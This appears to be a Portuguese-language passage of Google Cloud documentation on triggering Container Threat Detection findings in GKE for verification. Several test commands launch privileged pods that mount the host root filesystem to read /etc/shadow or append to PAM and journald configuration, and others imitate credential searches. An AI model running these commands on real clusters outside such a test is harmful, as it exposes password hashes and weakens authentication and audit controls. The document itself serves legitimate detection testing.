Nesta página, explicamos como verificar se o Container Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Container Threat Detection é um serviço integrado dos níveis Premium e Enterprise do Security Command Center. Para ver as descobertas do Container Threat Detection, é preciso ativá-la nas configurações de Serviços do Security Command Center.
Antes de começar
Para detectar possíveis ameaças aos contêineres, verifique se os clusters estão em uma versão compatível do Google Kubernetes Engine (GKE). Para mais informações, consulte Como usar uma versão compatível do GKE. Se você quiser testar a detecção de ameaças no ARM, precisará de um cluster com um pool de nós que contenha instâncias ARM. Para mais informações, consulte Cargas de trabalho em Arm no GKE.
Ativar detectores
Os seguintes detectores estão desativados por padrão:
Added Binary Executed
Added Library Loaded
Collection: Pam.d Modification
(Pré-lançamento)Credential Access: Access Sensitive Files on Nodes
(Pré-lançamento)Credential Access: Find Google Cloud Credentials
Defense Evasion: Disable or modify Linux audit system
(Pré-lançamento)Defense Evasion: Launch Code Compiler Tool In Container
Defense Evasion: Root Certificate Installed
(Pré-lançamento)Execution: Program Run with Disallowed HTTP Proxy Env
Execution: Suspicious Cron Modification
(Pré-lançamento)Exfiltration: Launch Remote File Copy Tools in Container
Persistence: Modify ld.so.preload
(Pré-lançamento)
Para testar esses detectores, eles precisam ser ativados explicitamente.
Primeiro, verifique o status de todos os detectores:
export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
--service=CONTAINER_THREAT_DETECTION \
--project=${PROJECT}
Para ativar um detector específico, use o comando correspondente abaixo:
Ative o detector
Added Binary Executed
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
Ative o detector
Added Library Loaded
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
Ative o detector
Collection: Pam.d Modification
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PAM_D_MODIFICATION \ --project=${PROJECT}
Ative o detector
Credential Access: Access Sensitive Files on Nodes
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ACCESS_SENSITIVE_FILES_ON_NODES \ --project=${PROJECT}
Ative o detector
Credential Access: Find Google Cloud Credentials
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=FIND_GCP_CREDENTIALS \ --project=${PROJECT}
Ative o detector
Defense Evasion: Disable or modify Linux audit system
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \ --project=${PROJECT}
Ative o detector
Defense Evasion: Launch Code Compiler Tool In Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \ --project=${PROJECT}
Ative o detector
Defense Evasion: Root Certificate Installed
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ROOT_CERTIFICATE_INSTALLED \ --project=${PROJECT}
Ative o detector
Execution: Program Run with Disallowed HTTP Proxy Env
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \ --project=${PROJECT}
Ative o detector
Execution: Suspicious Cron Modification
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=SUSPICIOUS_CRON_MODIFICATION \ --project=${PROJECT}
Ative o detector
Exfiltration: Launch Remote File Copy Tools in Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \ --project=${PROJECT}
Ative o detector
Persistence: Modify ld.so.preload
(Prévia):gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=MODIFY_LD_SO_PRELOAD \ --project=${PROJECT}
Defina as variáveis de ambiente
Para testar os detectores, use o console Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As variáveis a seguir são usadas para testar todos os detectores do Container Threat Detection.
Acesse o console doGoogle Cloud .
Selecione o projeto que contém o contêiner que você quer usar.
Clique em Ativar o Cloud Shell.
No Cloud Shell, defina as variáveis de ambiente:
A zona em que seu cluster está:
export ZONE=CLUSTER_ZONE
O projeto em que o contêiner está:
export PROJECT=PROJECT_ID
O nome do cluster:
export CLUSTER_NAME=CLUSTER_NAME
As variáveis são definidas. As seções a seguir incluem instruções para testar detectores do Container Threat Detection.
Adição de binário executado
Para acionar uma descoberta de adição de binário executado, solte um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia o /bin/ls
para outro local e o executa. A execução do binário é inesperada
porque a cópia do binário não fazia parte da imagem do contêiner original, mesmo
quando essa imagem estava no Ubuntu 24.04 e os contêineres eram imutáveis.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte um binário e execute-o:
Nó x86:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Nó ARM:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Este procedimento de teste criará uma descoberta executada em binário que você possa ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas executadas em binário. Para ver todas as descobertas executadas binárias adicionadas enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome do contêiner ou do pod, como no exemplo.
Adição de biblioteca carregada
Para acionar uma adição de biblioteca carregada, solte uma biblioteca no contêiner e carregue-a. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia
/lib/x86_64-linux-gnu/libc.so.6
para outro local e, em seguida, carrega usando
ld
. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia
parte da imagem do contêiner original, mesmo que essa imagem estivesse no Ubuntu 24.04 e
os contêineres fossem imutáveis.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte uma biblioteca e use
ld
para carregá-la:Nó x86:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Nó ARM:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Esse procedimento de teste criará uma biblioteca adicionada carregada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Para a redução de ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas carregadas na biblioteca. Para consultar todas as descobertas
adicionadas carregadas na biblioteca enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome
do contêiner ou do pod, como no exemplo.
Coleção: modificação do Pam.d (prévia)
Para acionar uma detecção de modificação do pam.d, modifique um dos arquivos relacionados ao PAM do host. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, ativando o sistema de arquivos raiz do host no contêiner e modificando /etc/pam.d/sshd
.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário que modifique um dos arquivos relacionados ao PAM no host.
Nó x86:
tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de modificação do pam.d que você pode ver no Security Command Center e, se tiver configurado o Logging para Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Comando e controle: ferramenta de esteganografia detectada
Para acionar uma descoberta de Command and Control: Steganography Tool Detected
(prévia), um binário com recursos de manipulação de arquivos consistentes com ferramentas de esteganografia precisa ser executado em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia para steghide
(ou outra ferramenta de esteganografia, como stegano
). Esse comportamento é sinalizado como
suspeito porque pode indicar uma tentativa de preparar um contêiner para ocultar
ou extrair dados, possivelmente para fins maliciosos.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de esteganografia, como
steghide
:Nó x86:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Nó ARM:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Este procedimento de teste cria uma descoberta de Command and Control: Steganography Tool
Detected
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Acesso às credenciais: acessar arquivos sensíveis nos nós (pré-lançamento)
Para acionar uma detecção de acesso a arquivos sensíveis, leia o arquivo /etc/shadow
do host. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, ativando o sistema de arquivos raiz do host no contêiner e, em seguida, lê /etc/shadow
usando cat
.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário que leia o arquivo
/etc/shadow
do host.Nó x86:
tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de arquivo sensível acessado que você pode ver no Security Command Center e, se tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Acesso com credenciais: encontrar Google Cloud Credenciais
Para acionar uma descoberta de Credential Access: Find Google Cloud Credentials
, um
binário capaz de pesquisar o conteúdo do arquivo precisa ser executado em um
contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia como grep
. O binário renomeado é executado com argumentos
que especificam um padrão de pesquisa indicativo de uma forma de credenciais Google Cloud .
Essa ação é sinalizada como suspeita porque imita o comportamento observado
ao tentar localizar credenciais do Google Cloud .
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Nó ARM:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Este procedimento de teste vai criar uma descoberta de Credential Access: Find Google Cloud Credentials
que pode ser visualizada no Security Command Center e no Cloud Logging se
você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Acesso às credenciais: reconhecimento de chaves do GPG
Para acionar uma descoberta de Credential Access: GPG Key Reconnaissance
, um
binário capaz de pesquisar o conteúdo do arquivo precisa ser executado em um
contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia para find
(ou outro utilitário de pesquisa adequado, como grep). O
binário renomeado é executado com argumentos que especificam um padrão de pesquisa
indicativo de chaves privadas ou senhas, ou padrões de conteúdo que sugerem
senhas ou secrets. Essa ação é sinalizada como suspeita porque imita o comportamento observado ao tentar localizar chaves de segurança GPG.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Nó ARM:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Esse procedimento de teste vai criar uma descoberta de Credential Access: GPG Key Reconnaissance
que pode ser visualizada no Security Command Center e no
Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Acesso a credenciais: pesquisar senhas ou chaves privadas
Para acionar uma descoberta de Credential Access: Search Private Keys or Passwords
, um
binário capaz de pesquisar o conteúdo do arquivo precisa ser executado em um
contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia para find
(ou outro utilitário de pesquisa adequado, como grep). O
binário renomeado é executado com argumentos que especificam um padrão de pesquisa
indicativo de chaves privadas ou senhas, ou padrões de conteúdo que sugerem
senhas ou secrets. Essa ação é sinalizada como suspeita porque imita o
comportamento observado ao tentar localizar informações sensíveis, como chaves
privadas ou senhas, em um ambiente em contêineres.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Nó ARM:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Este procedimento de teste criará uma descoberta de Credential Access: Search Private Keys or
Passwords
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Evasão de defesa: linhas de comando de arquivo ELF Base64
Para acionar uma descoberta de Defense Evasion: Base64 ELF File Command Line
, um
processo precisa ter base64
como argumento e f0VMRgIB
como argumento
que é a forma codificada em base64 de ELF
. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Em seguida, base64
é executado com os argumentos -d
e f0VMRgIB
.
Essa ação é sinalizada como suspeita porque imita o comportamento observado
ao tentar decodificar dados binários para executar código malicioso.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Nó ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Esse procedimento de teste vai criar duas descobertas de Defense Evasion: Base64 ELF File Command Line
que podem ser visualizadas no Security Command Center e no
Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center. Duas descobertas são criadas porque o comando bash -c
inicial e a execução do comando base64 -d
atendem aos critérios de descoberta.
Evasão de defesa: script Python codificado em base64 executado
Para acionar uma descoberta de Defense Evasion: Base64 Encoded Python Script Executed
, um processo precisa ter echo
ou base64
como argumento e aW1wb3J0IH
como argumento, que é a forma codificada em base64 de python -c
. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Em seguida, echo
é executado com o argumento aW1wb3J0IH
.
Essa ação é sinalizada como suspeita porque imita o comportamento observado
ao tentar decodificar dados binários para executar código malicioso.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Nó ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Esse procedimento de teste vai criar uma descoberta de Defense Evasion: Base64 Encoded Python Script Executed
que pode ser visualizada no Security Command Center e no
Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Evasão de defesa: script de shell codificado em base64 executado
Para acionar uma descoberta de Defense Evasion: Base64 Encoded Shell Script Executed
, um processo precisa ter echo
ou base64
como argumento e IyEvYmluL2Jhc2gK
como argumento, que é a forma codificada em base64 de #!/bin/bash
. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Em seguida, echo
é executado com o argumento IyEvYmluL2Jhc2gK
.
Essa ação é sinalizada como suspeita porque imita o comportamento observado
ao tentar decodificar dados binários para executar código malicioso.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário de ferramenta de pesquisa, como
find
, com os argumentos adequados:Nó x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Nó ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Esse procedimento de teste vai criar uma descoberta de Defense Evasion: Base64 Encoded Shell Script Executed
que pode ser visualizada no Security Command Center e no
Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Evasão de defesa: desativar ou modificar o sistema de auditoria do Linux (prévia)
Para acionar uma detecção de desativação ou modificação da auditoria do Linux, modifique um dos arquivos de configuração relacionados à auditoria do host. Este exemplo implanta a imagem mais recente do Ubuntu 24.04,
ativando o sistema de arquivos raiz do host no contêiner e modificando
/etc/systemd/journald.conf
.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário que modifique um dos arquivos de configuração relacionados à auditoria do host, como
/etc/systemd/journald.conf
.Nó x86:
tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de Disable or Modify Linux Audit System
que
pode ser vista no Security Command Center e, se você tiver configurado
o Logging para Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Evasão de defesa: iniciar a ferramenta de compilador de código no contêiner
Para acionar uma descoberta de Defense Evasion: Launch Code Compiler Tool In Container
(Visualização), uma ferramenta de compilador de código precisa ser executada em um contêiner.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia para gcc10
(ou outro compilador, como clang
). Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de compilar e executar código malicioso no contêiner para evitar a detecção ou modificar o comportamento dele.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário do compilador, como
gcc10
, com os argumentos adequados:Nó x86:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Nó ARM:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Este procedimento de teste cria uma descoberta de Defense Evasion: Launch Code Compiler Tool
In Container
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Evasão de defesa: certificado raiz instalado (prévia)
Para acionar uma detecção de certificado raiz instalado, crie um arquivo de certificado raiz no host de um contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, ativando o sistema de arquivos raiz do host no contêiner. Em seguida, ele cria um arquivo de certificado vazio em um diretório adequado.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
